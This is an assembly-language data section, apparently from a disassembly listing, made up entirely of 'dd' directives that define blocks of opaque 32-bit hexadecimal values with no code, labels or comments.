		dd 385C127Bh, 5655B68Fh, 0D9FC3FAEh, 0FB443113h, 2C88F9DDh
		dd 0F42D69A3h, 0C0133CA0h, 0FA66BE0Eh, 48B02D32h, 99628759h
		dd 0D4B900C6h, 795C0946h, 89523817h, 27217A4Ah,	4041C155h
		dd 53A6032h, 8924D7EBh,	0BEC5FF8Ch, 142704A1h, 0F28DEF4Ah
		dd 2C75A133h, 5842830Bh, 5809119h, 0D67012A5h, 5A00AA3Bh
		dd 49592125h, 4095B064h, 6FF55EB2h, 817FA42Dh, 2BF828h
		dd 0DE0D1h, 458B77C0h, 0F2C9F05h, 0D8F75716h, 1DFAF508h
		dd 0E0392C1h, 0B236E34Eh, 0B264D6E8h, 12D026D5h, 62F66853h
		dd 2AE0C34Eh, 84B1B9EBh, 0E3E58108h, 78274FF0h,	98D4F060h
		dd 0E9281298h, 0C2B9C404h, 0A36AC292h, 605D65Eh, 0B0EF129Eh
		dd 1D4AF955h, 4F238FEBh, 0B0FD1F53h, 7A04D689h,	20E9A0h
		dd 0F7CCA5F6h, 0A2F289FBh, 9EE2829Fh, 0F3B702C1h, 0EF1CAAF4h
		dd 5BFC0578h, 0EBC4DCF6h, 4FA7CC11h, 7720EFF0h,	912BF15Eh
		dd 0D0976884h, 0D6B6097Eh, 8BA5165h, 1167FCFh, 838428A3h
		dd 38D481C0h, 0C8855442h, 44F6BAA0h, 680EF204h,	31BA1D4Ah
		dd 3C2C6E1h, 0A2F1B14Bh, 2E170D11h, 0E909D1CBh,	0B0573632h
		dd 5515662h, 2319B3B9h,	0E6BA0170h, 841B4336h, 0AF5A730Ch
		dd 7EEAF7C1h, 6590BE00h, 0C6E1B850h, 479A7409h,	9D2F7287h
		dd 327AE37Ch, 820C8246h, 0EC58040Fh, 692C5B3Ch,	25F295BBh
		dd 9F5C0120h, 20F8A055h, 0C203DC73h, 0BDD8E97Bh, 2C4281A0h
		dd 5E194933h, 310D46B8h, 5C7D1978h, 4BDE1347h, 0B302E6C1h
		dd 18C45A76h, 1FDD7920h, 96E8C580h, 0FD58533Dh,	353E1234h
		dd 92E137EBh, 0C55F032Ch, 0F946A748h, 643DB727h, 3EF0BFB3h
		dd 6BB97497h, 56AF57F6h, 75037AACh, 9107D0ECh, 0B8685AD1h
		dd 618B7E29h, 3A614832h, 288F7E0h, 0E9665B59h, 24DD170Fh
		dd 0D096F5B9h, 3E5F0Ch,	7FCB814Ch, 484BF068h, 0A8D194EBh
		dd 0B850073Eh, 2022341h, 351B6040h, 0CA9B0B3Fh,	0A1DD29D6h
		dd 12DFE900h, 41C7216Bh, 9055C6FEh, 9B3EA7Ah, 21894E8Ch
		dd 7695E56Ch, 87AD1216h, 0E12B74F0h, 0DC8B2ED5h, 0D56B64Ah
		dd 2C930EE9h, 32F2A96Fh, 83317B04h, 0FBC6DE0h, 5202E1CDh
		dd 0AB095C24h, 0CB7F1339h, 0C3300444h, 82E0FDE9h, 30EF7708h
		dd 0C6A10C91h, 463D92F3h, 0CFE29669h, 6248D5C9h, 49219E2Ch
		dd 0AACE77Dh, 5B49AF23h, 6FA718F1h, 0F853EE9Ch,	0E63C5E67h
		dd 579A1732h, 0C1048E94h, 0B717FD80h, 0EF797D91h, 31059792h
		dd 5D4D3E3Ah, 5D604E26h, 3704B56h, 8BB450C3h, 73E2CCFEh
		dd 5B7B6458h, 6BD15355h, 0B058FDF4h, 1D8B953Bh,	0E985C5C7h
		dd 0B7BC1AF7h, 0DAD1088h, 0F42A752Ch, 0F0B75D24h, 44362241h
		dd 0A4D72B92h, 0E98227B3h, 0E0F17EA9h, 286BC681h, 6207DBFh
		dd 0F2A98351h, 0AC8E40FCh, 354CEE68h, 0B4B6C09Ah, 98E7B753h
		dd 0FB2BF1B2h, 0ACF8320h, 0FA52864h, 74C6B5CCh,	1E4B40F0h
		dd 2271954Eh, 75311A3Ch, 326B94F6h, 2F0E635Ch, 65E6E5F4h
		dd 49A1DE9Fh, 0DF5FF001h, 829F201Dh, 5AD93D0Bh,	0EFB47F5Dh
		dd 68E9F704h, 67AF23C1h, 0FC36B293h, 0ED89C074h, 351A75D0h
		dd 0D7F7EAF5h, 0C908BE0h, 7609AC27h, 545B6504h,	13E49697h
		dd 0B83A4085h, 777B224Ch, 25542D01h, 0D02927BCh, 6DECB3Ah
		dd 69FD62C5h, 0E94613F4h, 3A6DE1C7h, 16181FEEh,	2C1404D1h
		dd 5CE416B5h, 5B860EE3h, 0EBC07FFEh, 6B753C69h,	15FE914h
		dd 6D04D2C7h, 74FE4403h, 8BFCBE15h, 0C2A42FADh,	2F4F41D7h
		dd 50D846E4h, 0F26883FBh, 5FCC2D58h, 1AF80764h,	7DA332B5h
		dd 14A703C5h, 0A568168Ah, 9290F337h, 0E9F1A4FAh, 1583884Bh
		dd 7F99CF58h, 0A08901FBh, 6807B001h, 922A5A04h,	9855C895h
		dd 0B9495D67h, 3D38245Eh
		dd 262CFEDAh, 46593899h, 58E1E8DAh, 56D11E47h, 0EBA01797h
		dd 49BE0DE2h, 3F105550h, 59EFEAC0h, 0ADBD5C08h,	7A485A1Fh
		dd 2644351Fh, 12FC4B62h, 0E93CE9A0h, 5EB1C9E1h,	58BD2D05h
		dd 5F755488h, 52105F40h, 2DFDA07Ah, 0D35B016h, 1BF9E804h
		dd 0ED4741AFh, 31EF5Fh,	0B85D37E4h, 9674768Dh, 9DB3403Dh
		dd 2703C380h, 0B252CBFEh, 60EAC243h, 0B2E7AE09h, 2EF726FCh
		dd 0B52118A7h, 0C1488F3h, 0E824979h, 0B2A86772h, 744BFCB0h
		dd 7C24C1F7h, 2B2D9E16h, 0B2198C80h, 1A7A9D57h,	11560882h
		dd 0AA00D57Ah, 29901FE6h, 0F12F6FAh, 1BF4201h, 4D2EB755h
		dd 0C2DD2126h, 91089508h, 505C0F66h, 4C3778A5h,	504D896h
		dd 0FBE80309h, 2D60D5BFh, 22CB3881h, 836C564Ah,	941EE5FCh
		dd 39771051h, 62C30F81h, 4658B22h, 0C9D69833h, 9110E474h
		dd 656F000Fh, 8F2D0104h, 0CFDE4100h, 5BEDC781h,	0A5454E37h
		dd 0EE080431h, 5A54B4B0h, 5D088C3Eh, 75811713h,	0B4113C7h
		dd 0A3873BEDh, 761EACEAh, 780B0C45h, 0AB7280CAh, 804DF67Ch
		dd 4D21077Fh, 9706BE9h,	5125D695h, 0F65B01D6h, 0AF70828Ch
		dd 0BE0FF1E9h, 64787C71h, 912B5DDh, 76A0F9C8h, 0F433F3CAh
		dd 56507318h, 11648A0h,	0A8BE1FBDh, 640A1B2Dh, 0AF0BB833h
		dd 0D708CB4h, 0B97F4BE6h, 4C60072Fh, 0E4E332F2h, 5D1C00EBh
		dd 0E027312Dh, 0F0582903h, 33620F1Ah, 0D5F74457h, 790928C2h
		dd 83A742C5h, 95999677h, 0E98453D3h, 30F40EFBh,	0B3155F2Bh
		dd 3DAAD34Dh, 255C7BA6h, 0F6721918h, 0C5802FDDh, 90266276h
		dd 0E7C02E03h, 0DFEB07h, 0CF80050Ah, 1009E984h,	0EB8BD2h
		dd 6803E66Ch, 4D9627E8h, 71EA8C61h, 0E8D35AFAh,	38C18890h
		dd 743F1914h, 4FE8049Fh, 0C3E00A3Dh, 0E72CFBE9h, 5E6B6817h
		dd 7DD48981h, 1F607B5Dh, 638709EAh, 713E925Dh, 0EBE941C8h
		dd 4DE32B0Dh, 5B652D79h, 0E4544211h, 4EBDEF2Bh,	58D8A080h
		dd 1C4D2422h, 26BAB3Eh,	30D83332h, 0A8675C7Dh, 0CF1514Bh
		dd 0A40E987Bh, 0C5FB4360h, 4C0A7A85h, 18751B46h, 18701C69h
		dd 0E354133h, 0A4EB0C2Bh, 72B688C5h, 0BAB87DA5h, 59BFAAB4h
		dd 3EC4CF70h, 123DF75Bh, 1C1CF829h, 43167FE4h, 0BC2EB001h
		dd 0C6303633h, 0BCA7B13Eh, 1064AA3Ah, 0A7F821h,	4028BD7Ah
		dd 75257835h, 0C5890429h, 0C8F6FCE9h, 766048E8h, 10C8EB77h
		dd 0E5345A51h, 870805A2h, 0FE0274FDh, 0C01D44B2h, 0E98ABCFFh
		dd 82FEDE7Dh, 18046B11h, 0EAC0B656h, 4E4127A9h,	5022EE08h
		dd 9D725877h, 0EF0F38D5h, 0C2EED6F7h, 9422334Ch, 0B15120CCh
		dd 0C87B0835h, 0E9937925h, 6C8705E7h, 2FC244FEh, 932EACC5h
		dd 32A2FAFFh, 41300A52h, 7C2F36Bh, 5872F48h, 82C3A0FFh
		dd 25B2E40Ah, 0E222CD31h, 905DC6ACh, 4BB53E6h, 6AC8746Fh
		dd 9E90AA43h, 0A1045E95h, 507FFAE4h, 0A75ACBDDh, 0D19650A0h
		dd 66D8FBC1h, 0E96A5153h, 0EE810050h, 28373CFCh, 0FCE4C29h
		dd 7A7C0841h, 0AD6B4385h, 462E84C6h, 0B04E1E8Ah, 539F29FFh
		dd 8A4BE96Bh, 0DAE458D1h, 0F8B60B5Fh, 39A73E88h, 37852F3Fh
		dd 0A80FAAD2h, 22B917F8h, 2768ADC8h, 0FC794BA3h, 24678288h
		dd 0DA5C0822h, 79097826h, 0BFDB143Ch, 2E5628C1h, 0BF06FAADh
		dd 0EC3457EBh, 0B5148520h, 67828DFCh, 0DE371609h, 1B60A71h
		dd 9B68C169h, 8E292E05h, 0B2AE497Eh, 0F70889FFh, 0B28144B4h
		dd 9E1C38DCh, 58111819h, 96B6A32Eh, 0B1105CF8h,	0F2EC4E01h
		dd 0D6BEE63Ch, 0B27AF579h, 0ADE8D2DCh, 0F88BF4B5h, 17FFC26h
		dd 41A6C213h, 210CB10h,	92505DB8h, 0B30DE5Ch, 8260CE87h
		dd 61C13B8Ah, 0E50828B4h, 0FC5EBE43h, 0E5C2ECh,	484E1460h
		dd 0B91C5198h, 1D122827h, 0AEE1D313h, 0FE7549E8h, 9817B6Bh
		dd 48450A56h, 7869EE5Ch, 0E7709552h, 729A837Ch,	46131D0Fh
		dd 0E8980445h, 0AFDA8C8h, 594E4A75h, 0A22125E8h, 7B3746E9h
		dd 905A69Ch, 5BB6476Bh,	122D4C05h, 0EB5E0407h, 0CD290444h
		dd 0F1EFCEC5h, 7F784EF5h, 0CB1B880Bh, 26D90440h, 0F8A1EDE8h
		dd 0F84FA70Bh, 896A9574h, 7E595944h, 8F482DDFh,	490B24FEh
		dd 688317E8h, 0BB8563B3h, 0A99209B2h, 5F7BD91Dh, 0FE54852Ah
		dd 0E90B359Bh, 0C37A0D22h, 0E4671E27h, 11799F50h, 0C9050CBh
		dd 2BEC6292h, 7317CD24h, 418132AAh, 0E9AD2380h,	20413ACAh
		dd 0D7EA1248h, 0A5C52778h, 0D1EF5759h, 47A9FB3h, 1AC12BEh
		dd 0FE013D4Eh, 38F4F96Fh, 239F7716h, 0F5F50B86h, 818027FEh
		dd 6E114622h, 267C7841h, 0B13847B2h, 9E9B272Ch,	2DD2688Fh
		dd 12FC8594h, 1DA7BDE0h, 81640127h, 7A7C41CDh, 0EC292151h
		dd 8A608082h, 0FB26A5C0h, 0E96ABF50h, 0E4040809h, 3ABA00CDh
		dd 0F4397013h, 0FB6D6F21h, 0A84F0FC4h, 19017629h, 68395066h
		dd 93383B0Ah, 0CE5197C1h, 0E9C87ECFh, 96E732E9h, 0BECED47h
		dd 5CBE17B1h, 70EC9223h, 0ECFBD016h, 5175A19Ah,	0B609CA36h
		dd 0A0021936h, 0AC05EEEBh, 0F97CC502h, 44745FFEh, 18517D62h
		dd 22D8F44Ch, 2B7BCA86h, 0BF92F01h, 98573DF3h, 97A74DACh
		dd 0BDE49E7Fh, 0BDDCFCB2h, 0BEE92754h, 53B69980h, 0D8BFCEFEh
		dd 73C63FACh, 3302E41Bh, 0DAB11CC3h, 8B853B1Ah,	752B7204h
		dd 0E7C295A8h, 73E6FEF3h, 10C1417Fh, 42616859h,	67BC307Ah
		dd 60EB076Eh, 0E240BA27h, 79F82568h, 19220518h,	0E960A50Bh
		dd 9723F8E2h, 3C00B1F7h, 7D4BA913h, 4E574BEAh, 3D53D200h
		dd 891E9B56h, 0A22EE9F5h, 7ECC087h, 2F9DAF83h, 0F7F6BE10h
		dd 177156A7h, 55DFE05h,	41DB4A6Fh, 0A27BDB7Ch, 6852C2F0h
		dd 26D975ADh, 0DBFC3892h, 0E6FE5C2Dh, 5AFF7E69h, 410FDE5Fh
		dd 0C2C7B3A1h, 0BE2767Dh, 4B200DE9h, 0ACE38059h, 5CB55116h
		dd 1D3CB6E8h, 0A00DA2CEh, 9B339268h, 0CFCC276Eh, 0CA094792h
		dd 7669B776h, 555680C3h, 0A95F0C68h, 0E7F80F5Eh, 4F607E04h
		dd 0FD90EE43h, 250969F5h, 56565AA1h, 0D257725h,	6008C25Fh
		dd 0B5055800h, 0F8E27D9h, 42F52CC2h, 3B5C7C83h,	4176505h
		dd 0E368803Bh, 464FCD37h, 22CB90AEh, 41E49B75h,	5F12ECEFh
		dd 0F6CC730h, 480DD0BDh, 0F72EB3C0h, 574852ABh,	0F1972E77h
		dd 5F918110h, 31521D7Ah, 0F8BA30B8h, 0BDBA1E00h, 0E93C7267h
		dd 0B9165B66h, 8FC78069h, 0A027B45Ah, 0D5F4EE6h, 0DF297E22h
		dd 5108021Ch, 430B816Eh, 6311148h, 51850963h, 0BECFA5EAh
		dd 4A49FC03h, 0DE4EB913h, 2540D8D6h, 6644F381h,	0FC564F30h
		dd 5F3D5AA6h, 1A35D13Ah, 295B019Eh, 3C38AB34h, 5500B54Fh
		dd 177086BDh, 1F24E97Eh, 247DE7Bh, 5F66E302h, 6CD27574h
		dd 0B2EE81F5h, 31250005h, 4758F649h, 1F5B67F8h,	0EDA20AFCh
		dd 0B7099E54h, 240E5F7Ch, 1D04CF0Bh, 0F02800B5h, 1C66BA2Ch
		dd 9B1C045Ah, 0C7A4155Dh, 80269C80h, 1434EB3Ch,	0A7F69883h
		dd 413FC3E2h, 0F17F87A1h, 9F40C2F8h, 888068CAh,	42BE5C1h
		dd 9B9BD85h, 0B0EF7F5Ch, 0A19EB0Ch, 0C0A301B2h,	566807EAh
		dd 29313A60h, 0EE05EC95h, 205535C1h, 62F008C5h,	0BD39710h
		dd 0DF0B5B92h, 0A4E30598h, 4A1D8AAAh, 0AA9326ACh, 3AA7D108h
		dd 0FEF13B8Eh, 7E9AAFD2h, 4D32EA4Eh, 9F8A7014h,	256AD68Ah
		dd 0F420FD01h, 0B252DC5Ah, 0D451ED70h, 803C70BAh, 0C0C4C51Fh
		dd 0AA53030Ch, 14E918B8h, 83CFC935h, 7B824839h,	0E582795Bh
		dd 1CE85709h, 0A7093A2Ah, 0DDF72Bh, 0F8D6530Bh,	77A9A2E8h
		dd 0CD31EF0h, 0E93180BFh
		dd 94D453C2h, 14CD5ED4h, 1E17DB20h, 0BF09AB1Ch,	37BE4E60h
		dd 86C155F5h, 739E322Ah, 5BBC620h, 0D106C774h, 24F4EFE7h
		dd 40B82666h, 179C09D8h, 8411F74h, 7C686C81h, 0A12CBFD6h
		dd 91475A70h, 234FB74h,	1558FD68h, 297C189Fh, 0FD9E9D7Ch
		dd 0DAF06128h, 128174B7h, 0DE0EF1DAh, 0FCA70B51h, 5955523Ah
		dd 79C23D3Bh, 44B82AFDh, 0B05550CBh, 823E9BF1h,	4627D8C0h
		dd 2E6FC622h, 53D0F020h, 0EBABCD9Bh, 14DCA0FAh,	0D0A5FC27h
		dd 44950B40h, 415E5CAFh, 577F1320h, 91D8A12Ah, 51163B5Ah
		dd 9C8069AFh, 2912E9E3h, 5EE8C4A4h, 0DF0EB819h,	770736CBh
		dd 42758712h, 0E182DD83h, 0D41A7F37h, 0D5F70D6Ah, 2E1B390Bh
		dd 2DACB93Bh, 0B209917h, 9F1B68D8h, 0F6F080E6h,	42281F55h
		dd 0FE6A0F18h, 217CC077h, 50B72D70h, 5720D74Ch,	0EAD13141h
		dd 3A724464h, 0C6ABEF57h, 0E0254C26h, 5C227ACh,	0B7E02685h
		dd 24879F09h, 822E41EFh, 6C632B43h, 2C73D98Eh, 0CD17F96Ch
		dd 9B77BF32h, 63A02AB4h, 5DA2A04Bh, 1FE2A5A0h, 1D8E0A51h
		dd 385582CEh, 0DF820C95h, 0C0CFB6Bh, 90F65177h,	842DFE2Fh
		dd 0BF2F7659h, 9DBF1134h, 9A92AF4h, 3811E982h, 9B778009h
		dd 0C01C5D4Fh, 83185F0Ch, 8F5FE933h, 0D566500Bh, 0D4054C84h
		dd 4D05AACCh, 282203F2h, 0E0F5C2Fh, 80EE4B43h, 1DE2F3D8h
		dd 76455E13h, 112AC000h, 9D2971EEh, 2274D04h, 55355859h
		dd 0A4BEA956h, 5B9F6AC6h, 0B163C104h, 141C0AEh,	2D14DA05h
		dd 2DEE0AA5h, 885A605Dh, 0DC8628D4h, 0A089BCF7h, 4F5CF0E3h
		dd 5A64F3AEh, 10C78444h, 786FD13h, 314D3722h, 4C25C06Fh
		dd 0B001AC99h, 0F11F2E83h, 12546551h, 2AFEB1EFh, 35AA62FEh
		dd 0FF65996Ah, 821838A4h, 4FC1D371h, 0FC31B0E3h, 727B092Ch
		dd 0C5AAC312h, 0AB1DAE51h, 0BBD40FDh, 2FEC209Dh, 0D99E886h
		dd 0FE2F9FBEh, 0D0E97034h, 0BF162B60h, 2E387574h, 0EE64F5Eh
		dd 4E003FEAh, 10E9FE89h, 5C8CD44Fh, 2060414Ah, 515F7C85h
		dd 0BDD4C644h, 2222A54h, 0DFBC3A9Fh, 17E2374Eh,	68552FA8h
		dd 5E12210Ch, 9EDBA61h,	0C30D0C6h, 49487489h, 1C91D3B3h
		dd 0C2360F3Ah, 1A736629h, 3A5F5554h, 0DCF8E104h, 0F005A94Ah
		dd 92CB72E9h, 365827B4h, 747E0B18h, 81700401h, 0E239C6EBh
		dd 441F6170h, 0C10BF3F0h, 0FC76FE3Bh, 0E955314Dh, 896782ACh
		dd 5E5E5FFDh, 34720CC6h, 6D0BEE39h, 58D4BF85h, 0E7B26FEh
		dd 4E106B9Ah, 0FE4EED1Fh, 0BA2BB3C9h, 0B0EB5553h, 590B7651h
		dd 85E2A6Eh, 310107C1h,	57585AD6h, 22A41680h, 84BF54F0h
		dd 0CF2C513Dh, 0EE0452BEh, 0FD016D57h, 0B77DE90Ch, 24EEF97Eh
		dd 81A6838Ch, 0A121D313h, 2C01B636h, 78953085h,	2A684C40h
		dd 20EF15D5h, 352E2938h, 0F1E17C5h, 54C4EE93h, 25382481h
		dd 0F53A58C5h, 0D80804ADh, 0BE386892h, 0FC9D7070h, 46D55220h
		dd 0C4C67FAEh, 12C1D479h, 0DD0B0BEFh, 0E6681122h, 5BB046F7h
		dd 9354ED57h, 32C2C5F0h, 0CCBFF222h, 8D932009h,	909040B0h
		dd 0BA407A8h, 0B5E96D62h, 166701F0h, 0ECBF8B89h, 0F195A930h
		dd 132037Ah, 0C016C27h,	0B3E1237Ah, 0DC785852h,	4AF005C1h
		dd 0CDE0C665h, 1B9DE3C9h, 0BEA600A3h, 40591F43h, 0EA5F12E9h
		dd 33062341h, 39ED3562h, 53502E7Dh, 74B43D79h, 24F09CF6h
		dd 11EC2DF7h, 0DDAEDAD2h, 597C6B66h, 5667C993h,	0BEC7382h
		dd 60FE3AF7h, 7A5BA3A2h, 0BB5300F9h, 87D979E0h,	9C09BD55h
		dd 0D01C936Ch, 0A0BF9427h, 0E95B0C0Bh, 0C2C705F8h, 6F0B1A12h
		dd 5B56AC14h, 61F2CAC5h, 84A94BC9h, 0FEE1363Bh,	77199414h
		dd 9080109Ch, 0FE583127h, 179BE307h, 226F56D4h,	0C0B870D7h
		dd 88A7CDC6h, 440411CEh, 0E6D1326Ah, 0F6E490BAh, 653374DFh
		dd 0A2512250h, 0BF0A6063h, 5AD995D1h, 2503E84Fh, 0FBF02150h
		dd 0EF279160h, 7BA9CB8Bh, 11C12020h, 6EEF5B75h,	29B7E80Dh
		dd 2E846FFCh, 0A76F96F1h, 0D42CE7DBh, 81897D6Bh, 7FC2EAD7h
		dd 21E9CE01h, 289D6A1Ah, 0E03E5625h, 0F1EE3912h, 0C9DA6360h
		dd 256BAB26h, 7F2F6DE9h, 0EB0297D4h, 5B6C2AC7h,	9696A7Fh
		dd 8244DE08h, 0BBEB805Ch, 0C1F34E58h, 0C32800D3h, 0F8B52E51h
		dd 0BAC038BDh, 1B160F65h, 5BC59702h, 9DA82BDh, 4DB9002Ch
		dd 3E50A714h, 0AE13D180h, 20FBE8C6h, 4D51BE27h,	0B6C07072h
		dd 308B1FACh, 0DBB749E9h, 0AFC3244Ah, 0E8FC4674h, 0C500A0D0h
		dd 87775111h, 0CF4EE9F2h, 0F7AEF485h, 45532712h, 9EFFA513h
		dd 0EB716999h, 0E6063ED8h, 38617AF1h, 79D10BB0h, 44D7223Eh
		dd 4AD4B51Ah, 0BEB48572h, 0B80026B8h, 3B3E0515h, 5590C331h
		dd 8AC0F35Ch, 8F3ABCF0h, 321F6FBAh, 2CE9D3A0h, 52829EE3h
		dd 0F9C205F6h, 9D96F75Fh, 3DB18020h, 6F0B6853h,	0A0C02D82h
		dd 0AB2FCFF2h, 0F280554Fh, 2E3F23EAh, 0C53A7D7Fh, 29AA99B0h
		dd 7FE8980Ch, 0D5012E5Fh, 0C7822527h, 43DC5866h, 8244C058h
		dd 254B7855h, 0F7C56C54h, 0F84196BEh, 79833841h, 0EC706042h
		dd 0F08E82FDh, 53F9CCECh, 82685602h, 5D774A39h,	0F7E0486h
		dd 346291F8h, 5DC93653h, 5FE4927Ch, 2F943DABh, 0EED6D6B2h
		dd 2FE97F88h, 0A9E8BA4Eh, 259D9AA8h, 0D3AB21AEh, 14E9CE47h
		dd 9257269h, 87DA1D47h,	0E11CFA13h, 0A32E6242h,	0BF00828Bh
		dd 54C3FB9Dh, 7F21DEB2h, 16244ECBh, 5E4BBEF3h, 9FA5AA8h
		dd 372792EFh, 607FC8ABh, 0ECB05ECh, 2D3B4E72h, 347315E0h
		dd 44F9D801h, 1802BE07h, 0C217C143h, 0EF592Bh, 330DB0F6h
		dd 0B9035177h, 64C0312Fh, 2ED01309h, 988CD0D2h,	60BE242h
		dd 597C2A68h, 464C8E11h, 4FF3208Bh, 0DB7F5100h,	5F26E96Eh
		dd 841CF32Dh, 16AC8EA3h, 273AD0DCh, 0E47A3052h,	0C80A4E5h
		dd 39C76BFh, 0EE04580Ch, 0F8311546h, 0C2E10CD9h, 19180FAh
		dd 0A12BC038h, 25003BE1h, 6016714h, 0D728352Eh,	31977513h
		dd 1346E889h, 74B95197h, 4F99BD2Eh, 58A1B38Bh, 8852555Fh
		dd 94FCA1Eh, 6CF5DDF7h,	0ADB308A2h, 40B12497h, 0B36B32CAh
		dd 0B6104897h, 0ED131354h, 539EBFEh, 217657Bh, 852325FDh
		dd 0EC7F860h, 27D96B0Eh, 0DC5CABE9h, 3B256080h,	109F37D7h
		dd 0B30AC51h, 1AEB68D8h, 0EA57C9B1h, 81B1EE98h,	31B4501Ah
		dd 0B86278BEh, 4F4E0935h, 0CED64567h, 4151923Ah, 0F3AFDC04h
		dd 1EDE5F09h, 0F2015E41h, 561BA8Eh, 682F4D0Fh, 823577AAh
		dd 0B6B1E950h, 4D132DDAh, 0E20BD828h, 61E5DF82h, 4CAF011Fh
		dd 6E7C9F4Dh, 96D55D5Ch, 285EFA5Ah, 7FFC6292h, 0B9A0AC5Ah
		dd 5AAA4964h, 29998CF3h, 3B402B41h, 7B1B620Bh, 0B7EEF86Fh
		dd 0F8291C10h, 0FAB3909Fh, 4F3FB4C9h, 52174D05h, 0D6350408h
		dd 75EF4711h, 0F646E730h, 803D98D7h, 725BFDA5h,	14C3FA66h
		dd 9EEB2889h, 86E91A75h, 5B0D78EFh, 1A222F81h, 0FD8D8B8Dh
		dd 0B07EC260h, 7D0F68D9h, 18B400EAh, 8002DCF6h,	368C9ECh
		dd 0B0D9B029h, 0D0F601BBh, 0AEE9C0FEh, 82A33ABEh, 4C012A10h
		dd 642827CCh, 269F02EDh, 38E94658h, 44765E7Dh, 0E2CABA5Fh
		dd 0F09DE84h, 74F32946h, 37973DC3h, 0E2441CDh, 0E80A0519h
		dd 1BB66292h, 20D19E88h, 82CA4AA9h, 5177420Ch, 59FD3B23h
		dd 0B302392Dh, 73CB8037h, 2FE41E1h, 8007659h, 4A1FA799h
		dd 0BAEE5F88h, 0E81E5404h, 0EBA1AF60h, 0A1C0806h, 3DCC033Bh
		dd 0D3D31AF9h, 7D4BA056h, 5E2DA5EFh, 171C0895h,	0A9124E24h
		dd 0AFAB28EBh, 0FCFEF720h
		dd 0A7769F32h, 0B828BEA0h, 9FA504h, 466CE243h, 9510485Ch
		dd 0A7BDBC03h, 54E2E9EFh, 2596945Dh, 14571C21h,	2DAB549h
		dd 496CDB95h, 68187846h, 31C10B10h, 99F8826Eh, 0F128E32Dh
		dd 0BCD39EDDh, 5C5C8CA7h, 0A12C0B4Fh, 0F9A6834h, 7FBFFC2h
		dd 0A2025AACh, 5F73361Ch, 801ACCAh, 6FA6E6E9h, 0A4684720h
		dd 1254BB39h, 0FAA985D5h, 0D89A99CAh, 7F5B9FC0h, 7FD1074Bh
		dd 0B87AE8BAh, 0F781B596h, 307A1F3Ch, 3657B7B8h, 7A0125E3h
		dd 30D8D4ECh, 0D9BF0295h, 0E688538h, 0D2A310Ch,	0B3C103ECh
		dd 6B80F08h, 8B5F204Ch,	8D72D18Ch, 0BFB6524h, 3A9AB887h
		dd 89C68F4Bh, 0A1717003h, 0A3EE58Eh, 9B5D91h, 0D5A666C4h
		dd 14BDD029h, 0B0CB4DDh, 0BDDB10E5h, 0B7021C2Ch, 0D5779056h
		dd 69E9AF68h, 4058A9FEh, 5D301E17h, 0F5D20D1Eh,	5357A140h
		dd 7543CD68h, 0BD869774h, 0E8970FC9h, 25E9DF42h, 232A5EDAh
		dd 5BDD5A98h, 99120F0h,	2873E956h, 534972FCh, 64350004h
		dd 0ED8169F9h, 0E90D3162h, 256B549Bh, 2CC64F79h, 0AF9B5459h
		dd 5F3877B5h, 1A62868Fh, 29676027h, 44C1D7D9h, 0DF8B7A59h
		dd 2B22B118h, 6D0516EDh, 0CD0154A9h, 8051AC4h, 84FB2959h
		dd 2171BE98h, 35034418h, 0A1CAFBD0h, 8989AEB5h,	518FD41Dh
		dd 1FB16943h, 0E20517F7h, 4FE2116h, 0D5F463A6h,	82688713h
		dd 7356090Fh, 3C0A3883h, 41EBB018h, 0C6AA01F2h,	82E9D929h
		dd 2E637959h, 88621E33h, 258652D7h, 0BB94870Ch,	8ED6813h
		dd 0E982F4A3h, 39F4FA26h, 8A65E183h, 6A46DA4Ch,	0CBDE5DB3h
		dd 0F55BDAE2h, 0C4A51851h, 0E36A243Fh, 0E75F276Bh, 92F52595h
		dd 4E0B6030h, 52FFA8A3h, 7BD270B6h, 9FE775F3h, 173C0359h
		dd 1D4B7A9Ah, 7E0D89F7h, 0E70ACA5h, 0EB6A5FFBh,	15530398h
		dd 0C3B22733h, 5AE25875h, 1851645Dh, 8850A5E5h,	0BA51FC39h
		dd 0A7EEBEE5h, 0FDB3626Ch, 70B7C44h, 0EC4DDDF7h, 4960094Dh
		dd 0ED801CF6h, 0CAA56856h, 5E74A916h, 964B1EABh, 8257A424h
		dd 24C98E5Eh, 0D07E913Ah, 6368007Eh, 87C4A91Bh,	0EE0D126Ah
		dd 5758A961h, 81948F77h, 83096C20h, 0F55502C5h,	669D8AE5h
		dd 913DEC2Fh, 731C08C4h, 0CB175D24h, 0E3804180h, 0DBF63A58h
		dd 9C2F397h, 2670A074h,	4B25CF20h, 7E86B75Eh, 0F0AB95Ah
		dd 49082F5Ch, 72D82511h, 16D23850h, 0F957995h, 7E25E681h
		dd 4FE3E864h, 762887BAh, 0E92F1070h, 683E8330h,	5D21DD84h
		dd 0FD72CA2Dh, 3A0812h,	0DAFEB8F8h, 0BB5D90Ah, 0EB0C600Bh
		dd 0D0C3AA8Dh, 41E9B793h, 7876F959h, 0BD2D03CFh, 0D3743466h
		dd 7A9ED64h, 2FA24810h,	0BDB2585Fh, 54C22209h, 84ACC557h
		dd 0B8752568h, 0E1DFC48Eh, 5B67F6D7h, 5858CF9Ch, 0A0E6F238h
		dd 436B4AB5h, 0DA6202F1h, 0BC45E96Fh, 0CB2CAF71h, 1123C93Eh
		dd 3527271Eh, 5F69AF56h, 6851B840h, 0C51D730Bh,	9AC6606Bh
		dd 2C6A2C38h, 0EF1C13C4h, 1B30D639h, 32FB9706h,	126CD4A5h
		dd 0BC14C293h, 6E5876C9h, 764B387h, 7717FEF9h, 0B73CFF32h
		dd 2D1040DBh, 0C0390127h, 0B71BD4D7h, 75CA2B9Ah, 80EEC757h
		dd 3878E4B9h, 0CE4B2960h, 824E0745h, 12FDF9A4h,	20253Fh
		dd 0B276339Eh, 0CF480108h, 590840A0h, 20A2C198h, 5E95F257h
		dd 0BE31EB5Fh, 1F9E5D2Eh, 185725D7h, 0B7CB8CAFh, 0E6A1E1EEh
		dd 6F114D7h, 0C439FC6Fh, 0D6B49A78h, 0B4A74CDAh, 726850C0h
		dd 4900877Fh, 0FC2D4058h, 3811A90Ch, 21868D05h,	488150C8h
		dd 905A72BDh, 0BDFA8990h, 13B0DE4h, 1FCD811Bh, 31460A37h
		dd 7BA43E61h, 0A60100C7h, 3FB85047h, 0F5A064Eh,	5C31140Bh
		dd 86040959h, 0D6C0FC64h, 63BC5A22h, 971405BDh,	0EF299304h
		dd 5D2FAB82h, 0D5275DF1h, 1969C1B0h, 826621CBh,	48FB7579h
		dd 25F4A2B4h, 2DFA68Ch,	33AE8A1h, 23B9DA88h, 0CFE15004h
		dd 0C75C1F9Eh, 0FBF70392h, 432701Bh, 0FDBFB50Ch, 233BD205h
